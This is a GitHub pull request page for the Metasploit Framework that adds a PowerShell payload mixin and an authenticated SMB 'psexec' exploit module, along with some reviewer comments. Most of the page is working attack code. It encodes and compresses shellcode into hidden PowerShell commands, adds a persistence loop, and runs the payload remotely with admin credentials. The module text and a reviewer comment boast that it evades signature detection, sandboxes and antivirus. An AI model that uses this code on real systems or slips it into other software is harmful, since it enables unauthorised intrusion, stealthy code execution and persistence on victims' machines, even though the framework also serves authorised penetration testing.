-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Resurrect PSEXEC Powershell #2073
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
cae0362
43a5322
e6ebf77
61cd3b5
6ba85d4
92ef462
6fa60be
03de8c1
052c23b
1569a15
7d273b2
3eab710
8590720
1368c1c
44cdc0a
555140b
7d6a78b
83bc32a
a76ee6c
9c1a43a
cd15996
479664b
1a0bdf3
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,178 @@ | ||
# -*- coding: binary -*- | ||
require 'zlib' | ||
|
||
module Msf | ||
module Exploit::Powershell | ||
|
||
def initialize(info = {}) | ||
super | ||
register_options( | ||
[ | ||
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), | ||
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), | ||
OptBool.new('RUN_WOW64', [ | ||
true, | ||
'Execute powershell in 32bit compatibility mode, payloads need native arch', | ||
false | ||
]), | ||
], self.class) | ||
end | ||
|
||
# | ||
# Insert substitutions into the powershell script | ||
# | ||
def make_subs(script, subs) | ||
if ::File.file?(script) | ||
script = ::File.read(script) | ||
end | ||
|
||
subs.each do |set| | ||
script.gsub!(set[0],set[1]) | ||
end | ||
if datastore['VERBOSE'] | ||
print_good("Final Script: ") | ||
script.each_line {|l| print_status("\t#{l}")} | ||
end | ||
return script | ||
end | ||
|
||
# | ||
# Return an array of substitutions for use in make_subs | ||
# | ||
def process_subs(subs) | ||
return [] if subs.nil? or subs.empty? | ||
new_subs = [] | ||
subs.split(';').each do |set| | ||
new_subs << set.split(',', 2) | ||
end | ||
return new_subs | ||
end | ||
|
||
# | ||
# Read in a powershell script stored in +script+ | ||
# | ||
def read_script(script) | ||
script_in = '' | ||
begin | ||
# Open script file for reading | ||
fd = ::File.new(script, 'r') | ||
while (line = fd.gets) | ||
script_in << line | ||
end | ||
|
||
# Close open file | ||
fd.close() | ||
rescue Errno::ENAMETOOLONG, Errno::ENOENT | ||
# Treat script as a... script | ||
script_in = script | ||
end | ||
return script_in | ||
end | ||
|
||
|
||
# | ||
# Return a zlib compressed powershell script | ||
# | ||
def compress_script(script_in, eof = nil) | ||
|
||
# Compress using the Deflate algorithm | ||
compressed_stream = ::Zlib::Deflate.deflate(script_in, | ||
::Zlib::BEST_COMPRESSION) | ||
|
||
# Base64 encode the compressed file contents | ||
encoded_stream = Rex::Text.encode_base64(compressed_stream) | ||
|
||
# Build the powershell expression | ||
# Decode base64 encoded command and create a stream object | ||
psh_expression = "$stream = New-Object IO.MemoryStream(," | ||
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" | ||
# Read & delete the first two bytes due to incompatibility with MS | ||
psh_expression << "$stream.ReadByte()|Out-Null;" | ||
psh_expression << "$stream.ReadByte()|Out-Null;" | ||
# Uncompress and invoke the expression (execute) | ||
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" | ||
psh_expression << "$(New-Object IO.Compression.DeflateStream(" | ||
psh_expression << "$stream," | ||
psh_expression << "[IO.Compression.CompressionMode]::Decompress))," | ||
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" | ||
|
||
# If eof is set, add a marker to signify end of script output | ||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end | ||
|
||
# Convert expression to unicode | ||
unicode_expression = Rex::Text.to_unicode(psh_expression) | ||
|
||
# Base64 encode the unicode expression | ||
encoded_expression = Rex::Text.encode_base64(unicode_expression) | ||
|
||
return encoded_expression | ||
end | ||
|
||
# | ||
# Runs powershell in hidden window raising interactive proc msg | ||
# | ||
def run_hidden_psh(ps_code,ps_bin='powershell.exe') | ||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } " | ||
|
||
ps_wrapper = <<EOS | ||
$si = New-Object System.Diagnostics.ProcessStartInfo | ||
$si.FileName = "#{ps_bin}" | ||
$si.Arguments = '#{ps_args}' | ||
$si.UseShellExecute = $false | ||
$si.RedirectStandardOutput = $true | ||
$si.WindowStyle = 'Hidden' | ||
$si.CreateNoWindow = $True | ||
$p = [System.Diagnostics.Process]::Start($si) | ||
EOS | ||
|
||
return ps_wrapper | ||
end | ||
|
||
# | ||
# Creates cmd script to execute psh payload | ||
# | ||
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64']) | ||
# Allow powershell 1.0 format | ||
if old_psh | ||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) | ||
else | ||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) | ||
end | ||
# Run our payload in a while loop | ||
if datastore['PERSIST'] | ||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2) | ||
sleep_time = rand(5)+5 | ||
psh_payload = "function #{fun_name}{#{psh_payload}};" | ||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" | ||
end | ||
# Determine appropriate architecture | ||
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' | ||
# Wrap in hidden runtime | ||
psh_payload = run_hidden_psh(psh_payload,ps_bin) | ||
# Convert to base64 for -encodedcommand execution | ||
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n" | ||
end | ||
|
||
# | ||
# Convert binary to byte array, read from file if able | ||
# | ||
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) | ||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data | ||
code = code.unpack('C*') | ||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" | ||
lines = [] | ||
1.upto(code.length-1) do |byte| | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
code.each do |byte|
...
end |
||
if(byte % 10 == 0) | ||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" | ||
else | ||
lines.push ",0x#{code[byte].to_s(16)}" | ||
end | ||
end | ||
psh << lines.join("") + "\r\n" | ||
end | ||
|
||
|
||
|
||
end | ||
end | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
# -*- coding: binary -*- | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'msf/core/exploit/powershell' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ManualRanking | ||
|
||
# Exploit mixins should be called first | ||
include Msf::Exploit::Remote::SMB::Psexec | ||
include Msf::Exploit::Powershell | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution', | ||
'Description' => %q{ | ||
This module uses a valid administrator username and password to execute a powershell | ||
payload using a similar technique to the "psexec" utility provided by SysInternals. The | ||
payload is encoded in base64 and executed from the commandline using the -encodedcommand | ||
flag. Using this method, the payload is never written to disk, and given that each payload | ||
is unique, is not prone to signature based detection. Since executing shellcode in .NET | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. "not prone to signature based detection" This is a bold claim. Major pieces of the payload are the same every time, most notably the beginning, which makes signature detection only slightly more difficult than a big chunk of 0x90 bytes. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The final payload is (in this PR) deflated and b64 encoded, so any variance introduced by dynamic var names and the shellcode itself alter the final chunk of script being sent over the wire pretty considerably. I could see a lot of wasted NIDS cycles decompressing and base64 decoding all the text going over SMB or WinRM. #2075 introduces the PSH parser which handles all of this along with some basic obfuscation techniques to alter the resulting script. This outdated payload still beats every AV on the market, and its been public in several forms for over a year :). |
||
requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture | ||
must match that of the payload. Lastly, a persist option is provided to execute the payload | ||
in a while loop in order to maintain a form of persistence. In the event of a sandbox | ||
observing PSH execution, a delay and other obfuscation may be added to avoid detection. | ||
In order to avoid interactive process notifications for the current user, the psh payload has | ||
been reduced in size and wrapped in a powershell invocation which hides the process entirely. | ||
}, | ||
|
||
'Author' => [ | ||
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module | ||
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders | ||
], | ||
|
||
'License' => MSF_LICENSE, | ||
'Privileged' => true, | ||
'DefaultOptions' => | ||
{ | ||
'WfsDelay' => 10, | ||
'EXITFUNC' => 'thread' | ||
}, | ||
'Payload' => | ||
{ | ||
'Space' => 8192, | ||
'DisableNops' => true, | ||
'StackAdjustment' => -3500 | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ], | ||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Jan 01 1999', | ||
'References' => [ | ||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) | ||
[ 'OSVDB', '3106'], | ||
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ], | ||
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ], | ||
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] | ||
] | ||
)) | ||
end | ||
|
||
def exploit | ||
command = cmd_psh_payload(payload.encoded) | ||
|
||
if datastore['PERSIST'] and not datastore['DisablePayloadHandler'] | ||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.") | ||
end | ||
|
||
if datastore['RUN_WOW64'] and target_arch.first == "x86_64" | ||
fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") | ||
end | ||
|
||
#Try and authenticate with given credentials | ||
if connect | ||
begin | ||
smb_login | ||
rescue StandardError => autherror | ||
disconnect | ||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") | ||
end | ||
# Execute the powershell command | ||
begin | ||
print_status("#{peer} - Executing the payload...") | ||
vprint_good(command) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Even as a verbose print, I think this will end up being too much information. |
||
return psexec(command) | ||
rescue StandardError => exec_command_error | ||
disconnect | ||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") | ||
end | ||
end | ||
end | ||
|
||
def peer | ||
return "#{rhost}:#{rport}" | ||
end | ||
end | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why not just
script_in = File.read(script)
?